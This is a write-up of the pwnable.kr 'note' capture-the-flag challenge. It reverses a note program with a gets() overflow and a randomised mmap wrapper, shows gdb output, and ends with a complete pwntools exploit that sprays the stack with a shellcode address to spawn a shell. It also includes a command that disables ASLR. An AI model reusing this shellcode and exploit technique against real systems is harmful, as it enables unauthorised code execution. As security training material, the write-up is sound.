001

4/12/21

pwnable.kr - note - 4/12/21

this is my writeup for pwnable.kr's challenge, note. the description for this challenge is:

Check out my SECURITY PATCH for mmap().
despite no-ASLR setting, it will randomize memory layout.
so it will contribute for exploit mitigation.
wanna try sample application?

so it seems like it will randomize our virtual address spaces when loaded into memory with the mmap syscall. Since they only mentioned ASLR, i am assuming that they do not randomize the address of our binary within memory. This is important as the existece of PIE can prevent some techniques we previously had for bypassing ASLR. Though, it will not randomize the address of our heap or stack, which means they are still on a fixed location. This may be helpful later.

Also, something that should be noted is that ASLR is disabled on the remote system, which means we should probably do the same. You know the drill

echo 0 | tee /proc/sys/kernel/randomize_va_space

Lets first run the binary and inspect the output:

recently I noticed that in 32bit system with no ASLR,
 mmap(NULL... gives predictable address

I believe this is not secure in terms of software exploit mitigation
so I fixed this feature and called mmap_s

please try out this sample note application to see how mmap_s works
you will see mmap_s() giving true random address despite no ASLR

I think security people will thank me for this :)

- Select Menu -
1. create note
2. write note
3. read note
4. delete note
5. exit

ok, so according to the output, it seems we will have a function that will randomize the address space of libc. I am assuming this, due to the fact that it is the only important thing to randomize within virtual memory. That, or the binary itself which is not what ASLR does. We also seem to have a selection menu reminiscent of any heap related challenge. That is another small nitpick i have with those kinds of ctf challenges, they should not have just handed over control of the dynamic allocators without any form of struggle. I would enjoy them much more if they implemented some clever scenario in which we would actually be able to get that amount of control over dynamic memory. Anyways, it seems that the binary will present us with a menu to create, write, read, and delete notes. Lets reverse this binary to better understand how this mmap_s function works.

just as a heads up, i will be skipping over the reduntant functions like our menu. It will simply present us with the menu, our options, call scanf, then a switch statement to our options. Nothing of interest there, so i have skipped over it and decided to look at the important functions.

void create_note() {
    int counter=0;
    while (1) {
        if (255 < counter) {
            puts("memory sults are fool");
            return;
        }
        if ((mem_arr[counter])==0) break;
        // *(int32_t *)(obj.mem_arr + var_ch * 4) == 0)
        counter++;
    }
    int ret_val = mmap_s(0, 0x1000, 7, 0x22, -1, 0);
    printf("note created. no %d\n [%08x]", counter, ret_val);
}
void write_note() {
    int input;
    puts("note no?");
    scanf("%d", &input);
    clear_newlines();
    if (input < 0x101) {
        if (mem_arr[input]==0) { // *(int32_t *)(obj.mem_arr + var_ch * 4) == 0)
            puts("Empty slut!");
        } else {
            puts("paste your note (MAX : 4096 byte)");
            gets(mem_arr[input]); // buffer overflow vuln maybe!
        } // *(int32_t *)(obj.mem_arr + var_ch * 4) == 0)
    } else {
        puts("Index out of range");
    }
    return;
}
void read_note() {
    int input;
    puts("note no?");
    scanf("%d", &input);
    clear_newlines();
    if (input < 0x101) {
        if ((mem_arr[input])==0) {
            puts("empty slut!");
        } else {
            puts(mem_arr[input]);
        }
    }
    return;
}
void delete_note() {
    int input;
    puts("note no?");
    scanf("%d", &input);
    clear_newlines();
    if (input < 0x101) {
        if ((mem_arr[input])==0) {
            puts("already empty slut!);
        } else {
            munmap(mem_arr[input], 0x1000);
        }
    } else {
        puts("index out of range");
    }
}

as we can see, for each of our functions it will ask us for input, then perform the correct operation on our note. Our mem_arr will contain all the pointers to allocated memory by our create_note function which will first check if the array is empty. it will check mem_arr[0] if empty, if not, it will increment the counter, and move onto the next one, once it finds an empty entry in our array, it will then break out of the while loop and call mmap_s(), the final boss of this binary. It will then give us the index to our newly allocated note.

within the next few functions, we find a strange looking piece of code:

if *(int32_t *)(obj.mem_arr + var_ch * 4) == 0) {}

the reason you see this strange jarbled bunch of code within the comments of by decompilation is due to the fact that i believe that it is indexing to an array. I believe this due to the fact that in my time of reading disassembly over and over again, indexing always occurs by incrementing a pointer. In this case, the pointer is to the pointer to our array, obj.mem_arr. We can see that the type of our mem_arr array is int32, which is our normal 32 bit signed integer.

We now know the size of each index will be 4 bytes. now, as we can see it will add the pointer to mem_addr with our input(var_ch). Since we already know that the size of each value within this array is 4 bytes, we now know what the "* 4" is for. We are multiplying our input by 4, because an integer is 4 bytes.

So if we were to index mem_arr to 2, the code would look like this:

mem_arr[input];

assembler pseudocode representation:

mov rax, input           ; input will be stored as local var on stack
mov rax, [rax*4+mem_arr] ; mem_arr will be stored as global variable in .data

the "* 4" operation still might be confusing you, so let me better elaborate on how this works. if we were to say:

mem_arr[1];

how would we access index 1? lets think, if an int data type is 4 bytes, we will have to increment our pointer to mem_arr up by 4 right? since that is how we get to the next value within our array?

okay, so we increment by 4, and now we are pointing to mem_arr[1];

so if we wanted to access [1], and "mem_arr + 4" got us there, how can we make this more efficient? lets try it again, except using the same, faster, solution.

input = 1;
mem_addr[input];

we will have a pointer to mem_addr + 4. But instead, we choose to use "1 * 4", and this equates to 4. ok cool, so how does this scale?

input = 2;
mem_addr[input];

2 * 4 = 8, and 8 bytes is the exact amount of bytes we need in order to index to [2]. I think we understand now.

each of these functions index the mem_arr array like this, it makes things a little more confusing, but this is why i usually prefer disassembly over decompilation. It will take a longer time, but nothing slips through your fingers.

An interesting thing that can be noted, is that our write_note() function uses gets to write to our note. This may cause security implications. The other functions do exactly what they imply, they will read and delete our notes if we provide an index. Lets not reverse the most interesting function within the binary:

// int ret_val = mmap_s(0, 0x1000, 7, 0x22, -1, 0);

int mmap_s(void *addr, int size, int arg_10h, int arg_14h, int arg_18h, void *arg_1ch) {
    int ret, fd;
    if ((addr == 0) && ((arg_14h & 0x10U) == 0) {
        fd = open("/dev/urandom", 0);
        if (fd==-1) {
            exit(-1);
        }
        ret = read(fd, &addr, 4);
        if (ret != 4) {
            exit(-1);
        }
        close(fd);
        addr = addr & 0x7ffff000 | 0x80000000;
        while (ret = mmap(addr, size, arg_10h, MAP_ANONYMOUS | MAP_FIXED, fd, arg_1ch), ret == -1) {
            // if memory already in use, increment pointer by 0x1000 bytes.
            ret += 0x1000; // 0x1000 page size ; 4096
        }
    } else {
        ret = mmap(addr, size, arg_10h, MAP_ANONYMOUS | MAP_FIXED, fd, arg_1ch);
    }
    return ret;
}

This is a very interesting function we have, it seems to be a wrapper for our mmap() system call. we can see that it will attempt to open /dev/urandom and read 4 random bytes from it. it will use that as a seed of sorts to randomize the address of our mmap'd memory. Other than our buffer overflow, we have one more vulnerability left on our list.

as we can see here, these are the representations of each mmap() option:

PROT_READ       = 0x1  #    /* Page can be read.  */
PROT_WRITE      = 0x2  #    /* Page can be written.  */
PROT_EXEC       = 0x4  #    /* Page can be executed.  */
PROT_NONE       = 0x0  #    /* Page can not be accessed.  */
MAP_SHARED      = 0x01 #    /* Share changes.  */
MAP_PRIVATE     = 0x02 #    /* Changes are private.  */
MAP_ANONYMOUS   = 0x20 #    /* Don't use a file.  */
MAP_FIXED       = 0x10 #    /* Interpret addr exactly.  */

if we check in the documentation of mmap(), we can see that the mmaped memory will be placed to wherever we specify through our addr dereference pointer parameter. If it attempts to find and return a pointer to a newly allocated piece of memory, and that memory has already been taken, we should be able to know where that is. Since it will return MAP_FAILED each time it fails, and will increment by 0x1000, which is 4096 bytes, which is a page.

Now lets see this in action, start the binary up in gdb and set a breakpoint before select_menu's ret.

gef➤  disas select_menu
Dump of assembler code for function select_menu:
   0x080488e5 <+0>:     push   ebp
   0x080488e6 <+1>:     mov    ebp,esp
   0x080488e8 <+3>:     sub    esp,0x428
   0x080488ee <+9>:     mov    DWORD PTR [esp],0x8048d66
   0x080488f5 <+16>:    call   0x8048560 <puts@plt>
   0x080488fa <+21>:    mov    DWORD PTR [esp],0x8048d76
   0x08048901 <+28>:    call   0x8048560 <puts@plt>
   0x08048906 <+33>:    mov    DWORD PTR [esp],0x8048d85
   0x0804890d <+40>:    call   0x8048560 <puts@plt>
   0x08048912 <+45>:    mov    DWORD PTR [esp],0x8048d93
   0x08048919 <+52>:    call   0x8048560 <puts@plt>
   0x0804891e <+57>:    mov    DWORD PTR [esp],0x8048da0
   0x08048925 <+64>:    call   0x8048560 <puts@plt>
   0x0804892a <+69>:    mov    DWORD PTR [esp],0x8048daf
   0x08048931 <+76>:    call   0x8048560 <puts@plt>
   0x08048936 <+81>:    mov    eax,0x8048d0b
   0x0804893b <+86>:    lea    edx,[ebp-0xc]
   0x0804893e <+89>:    mov    DWORD PTR [esp+0x4],edx
   0x08048942 <+93>:    mov    DWORD PTR [esp],eax
   0x08048945 <+96>:    call   0x80485e0 <__isoc99_scanf@plt>
   0x0804894a <+101>:   call   0x80486b4 <clear_newlines>
   0x0804894f <+106>:   mov    eax,DWORD PTR [ebp-0xc]
   0x08048952 <+109>:   cmp    eax,0x3
   0x08048955 <+112>:   je     0x8048989 <select_menu+164>
   0x08048957 <+114>:   cmp    eax,0x3
   0x0804895a <+117>:   jg     0x8048968 <select_menu+131>
   0x0804895c <+119>:   cmp    eax,0x1
   0x0804895f <+122>:   je     0x804897b <select_menu+150>
   0x08048961 <+124>:   cmp    eax,0x2
   0x08048964 <+127>:   je     0x8048982 <select_menu+157>
   0x08048966 <+129>:   jmp    0x80489de <select_menu+249>
   0x08048968 <+131>:   cmp    eax,0x5
   0x0804896b <+134>:   je     0x8048997 <select_menu+178>
   0x0804896d <+136>:   cmp    eax,0x5
   0x08048970 <+139>:   jl     0x8048990 <select_menu+171>
   0x08048972 <+141>:   cmp    eax,0x31337
   0x08048977 <+146>:   je     0x80489a5 <select_menu+192>
   0x08048979 <+148>:   jmp    0x80489de <select_menu+249>
   0x0804897b <+150>:   call   0x80486d0 <create_note>
   0x08048980 <+155>:   jmp    0x80489eb <select_menu+262>
   0x08048982 <+157>:   call   0x804876a <write_note>
   0x08048987 <+162>:   jmp    0x80489eb <select_menu+262>
   0x08048989 <+164>:   call   0x80487e9 <read_note>
   0x0804898e <+169>:   jmp    0x80489eb <select_menu+262>
   0x08048990 <+171>:   call   0x804885c <delete_note>
   0x08048995 <+176>:   jmp    0x80489eb <select_menu+262>
   0x08048997 <+178>:   mov    DWORD PTR [esp],0x8048db7
   0x0804899e <+185>:   call   0x8048560 <puts@plt>
   0x080489a3 <+190>:   jmp    0x80489f0 <select_menu+267>
   0x080489a5 <+192>:   mov    DWORD PTR [esp],0x8048dbc
   0x080489ac <+199>:   call   0x8048560 <puts@plt>
   0x080489b1 <+204>:   mov    DWORD PTR [esp],0x8048ddc
   0x080489b8 <+211>:   call   0x8048560 <puts@plt>
   0x080489bd <+216>:   mov    eax,ds:0x804b060
   0x080489c2 <+221>:   mov    DWORD PTR [esp+0x8],eax
   0x080489c6 <+225>:   mov    DWORD PTR [esp+0x4],0x401
   0x080489ce <+233>:   lea    eax,[ebp-0x40c]
   0x080489d4 <+239>:   mov    DWORD PTR [esp],eax
   0x080489d7 <+242>:   call   0x8048540 <fgets@plt>
   0x080489dc <+247>:   jmp    0x80489eb <select_menu+262>
   0x080489de <+249>:   mov    DWORD PTR [esp],0x8048e17
   0x080489e5 <+256>:   call   0x8048560 <puts@plt>
   0x080489ea <+261>:   nop
   0x080489eb <+262>:   call   0x80488e5 <select_menu>
   0x080489f0 <+267>:   leave
   0x080489f1 <+268>:   ret
End of assembler dump.
gef➤  b* 0x080489f1
Breakpoint 1 at 0x80489f1
gef➤

now that we have set a breakpoint, we can start the binary and continue until we reach the menu

gef➤  start
[+] Breaking at '{<text variable, no debug info>} 0x80489f2 <main>'
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────── registers ───
$eax   : 0xf7f899a8  →  0xffffcf3c  →  0xffffd152  →  "SHELL=/usr/bin/zsh"
$ebx   : 0x0
$ecx   : 0x3d5b39b0
$edx   : 0xffffcec4  →  0x00000000
$esp   : 0xffffce88  →  0x00000000
$ebp   : 0xffffce88  →  0x00000000
$esi   : 0x1
$edi   : 0x08048600  →  <_start+0> xor ebp, ebp
$eip   : 0x080489f5  →  <main+3> and esp, 0xfffffff0
$eflags: [ZERO carry adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────────────────────── stack ───
0xffffce88│+0x0000: 0x00000000   ← $esp, $ebp
0xffffce8c│+0x0004: 0xf7db6a0d  →  <__libc_start_main+237> add esp, 0x10
0xffffce90│+0x0008: 0x00000001
0xffffce94│+0x000c: 0xffffcf34  →  0xffffd122  →  "/root/research/pwn/pwnable.kr/rookiss/note/note"
0xffffce98│+0x0010: 0xffffcf3c  →  0xffffd152  →  "SHELL=/usr/bin/zsh"
0xffffce9c│+0x0014: 0xffffcec4  →  0x00000000
0xffffcea0│+0x0018: 0xffffced4  →  0x74159da0
0xffffcea4│+0x001c: 0xf7ffdb78  →  0xf7ffdb10  →  0xf7f90300  →  0xf7ffd9b0  →  0x00000000
───────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ───
    0x80489f1 <select_menu+268> ret
    0x80489f2 <main+0>         push   ebp
    0x80489f3 <main+1>         mov    ebp, esp
 →  0x80489f5 <main+3>         and    esp, 0xfffffff0
    0x80489f8 <main+6>         sub    esp, 0x10
    0x80489fb <main+9>         mov    eax, ds:0x804b080
    0x8048a00 <main+14>        mov    DWORD PTR [esp+0xc], 0x0
    0x8048a08 <main+22>        mov    DWORD PTR [esp+0x8], 0x2
    0x8048a10 <main+30>        mov    DWORD PTR [esp+0x4], 0x0
───────────────────────────────────────────────────────────────────────────────────────────── threads ───
[#0] Id 1, Name: "note", stopped 0x80489f5 in main (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────── trace ───
[#0] 0x80489f5 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  c
Continuing.
welcome to pwnable.kr

recently I noticed that in 32bit system with no ASLR,
 mmap(NULL... gives predictable address

I believe this is not secure in terms of software exploit mitigation
so I fixed this feature and called mmap_s

please try out this sample note application to see how mmap_s works
you will see mmap_s() giving true random address despite no ASLR

I think security people will thank me for this :)

- Select Menu -
1. create note
2. write note
3. read note
4. delete note
5. exit

as we can see, we are prompted with our menu. We will create 2 notes, 1, and 1.

- Select Menu -
1. create note
2. write note
3. read note
4. delete note
5. exit
1
note created. no 0
 [9325f000]- Select Menu -
1. create note
2. write note
3. read note
4. delete note
5. exit
1
note created. no 1
 [c4830000]- Select Menu -
1. create note
2. write note
3. read note
4. delete note
5. exit

now that we have created 2 notes, all a page size in length, which is 0x1000 or 4096 bytes in decimal, we can exit the program with the option 5, or SIGTERM. after that, we look at our memory map.

gef➤  info proc mappings
process 8404
Mapped address spaces:
        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x804a000     0x2000        0x0 /root/research/pwn/pwnable.kr/rookiss/note/note
         0x804a000  0x804b000     0x1000     0x1000 /root/research/pwn/pwnable.kr/rookiss/note/note
         0x804b000  0x804c000     0x1000     0x2000 /root/research/pwn/pwnable.kr/rookiss/note/note
         0x804c000  0x806e000    0x22000        0x0 [heap]
        0x9325f000 0x93260000     0x1000        0x0
        0xc4830000 0xc4831000     0x1000        0x0
        0xf7d98000 0xf7db5000    0x1d000        0x0 /usr/lib32/libc-2.33.so
        0xf7db5000 0xf7f12000   0x15d000    0x1d000 /usr/lib32/libc-2.33.so
        0xf7f12000 0xf7f84000    0x72000   0x17a000 /usr/lib32/libc-2.33.so
        0xf7f84000 0xf7f85000     0x1000   0x1ec000 /usr/lib32/libc-2.33.so
        0xf7f85000 0xf7f87000     0x2000   0x1ec000 /usr/lib32/libc-2.33.so
        0xf7f87000 0xf7f89000     0x2000   0x1ee000 /usr/lib32/libc-2.33.so
        0xf7f89000 0xf7f92000     0x9000        0x0
        0xf7fc5000 0xf7fc9000     0x4000        0x0 [vvar]
        0xf7fc9000 0xf7fcb000     0x2000        0x0 [vdso]
        0xf7fcb000 0xf7fcc000     0x1000        0x0 /usr/lib32/ld-2.33.so
        0xf7fcc000 0xf7fee000    0x22000     0x1000 /usr/lib32/ld-2.33.so
        0xf7fee000 0xf7ffb000     0xd000    0x23000 /usr/lib32/ld-2.33.so
        0xf7ffb000 0xf7ffd000     0x2000    0x2f000 /usr/lib32/ld-2.33.so
        0xf7ffd000 0xf7ffe000     0x1000    0x31000 /usr/lib32/ld-2.33.so
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]
gef➤

as we can see, just below our heap, there resides 2 chunks of memory both with the size of 0x1000. this was helpful in visualizing exactly how and where our mmap'd memory will end up, and provides us with a better understanding of the layout of our program.

Now that we understand how this binary works, i will walk you through the steps for my solution. I will explain each step along the way due to the fact that i want this to be brief.

There is no ASLR enabled, which means the virtual address spaces of our program wont be random We are allowed to allocate, read, and write to memory by using the menu to work with "notes" This space that has been used to mmap had not changed the permissions of that memory with mprotect() We are also able to allocate a massive amount of data, 1 page per allocation/note, and we have 255 We will be able to overwrite the stack eventually, another thing that should be noted, is that each time we allocate a new note, the value of our rsp/stack pointer will decrease by 0x430. Here is the final exploit:

#!/usr/bin/env python3
from pwn import *
from sys import argv, exit
from time import sleep
if __name__ == "__main__":
    try:
        if len(argv)>1 and argv[1]=="-r":
            conn=ssh("note", "pwnable.kr", port=2222, password='guest')
            p=conn.process("./note",cwd='/home/note')
        elif argv[1]=="-rp":
            conn=ssh("note", "pwnable.kr", port=2222, password='guest')
            p=conn.remote("127.0.0.1", 9019)
        elif argv[1]=="-l":
            p=process('./note')
    except IndexError:
        print("Usage: python3 %s [-r] [-rp] [-l]"%argv[0])
        print("-r \tremote\n-rp\tremote priv\n-l \tlocal")
        exit(0)
context(arch='i386',os='linux', log_level='DEBUG')
shellcode=b"\x90"*10 + b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
log.warning("sleeping until binary menu finishes")
## define important variables
ind=0
static_stack_addr=0xfffdd000
### allocate note and get address
p.recvuntil("5. exit\n")
p.sendline("1")
p.recvuntil(" [")
shellcode_addr = int(p.recvline().split(b"]")[0],16)
log.info("Allocated note and leaked address: %s"%hex(shellcode_addr))
log.info("writing shellcode to address")
### sending shellcode to index[0] of notes and brute force stack
p.sendline("2")
p.recvuntil("note no?\n")
p.sendline(str(ind))
p.recvuntil("e)\n")
p.sendline(shellcode)
while 1:
    if ind==255:
        ind=1
        for i in range(1,256):
            p.recvuntil("exit\n")
            p.sendline("4")
            p.recvuntil("?\n")
            p.sendline(str(i))
    static_stack_addr-=0x430*254
    p.recvuntil("exit\n")
    p.sendline("1")
    p.recvuntil("[")
    leak=int(p.recvline().split(b"]")[0], 16)
    if static_stack_addr<leak:
        break
    ind+=1
    static_stack_addr-=0x430
p.recvuntil("exit\n")
p.sendline("2")
p.recvuntil("no?\n")
p.sendline(str(ind))
p.recvuntil("e)\n")
p.sendline(p32(shellcode_addr) * 1024)
#p.interactive()
p.recvuntil("exit\n")
p.sendline("5") # ret
p.interactive()

sources:

https://stackoverflow.com/questions/60487664/is-merging-pages-allowed-in-mmap
https://stackoverflow.com/questions/14943990/overlapping-pages-with-mmap-map-fixed
https://linux.die.net/man/2/mmap
https://man7.org/linux/man-pages/man2/mmap.2.html
https://stackoverflow.com/questions/33620545/mmaping-multiple-anonymous-pages-in-c
https://stackoverflow.com/questions/22485351/does-mmap-allocate-a-page-or-part-of-a-page

Last updated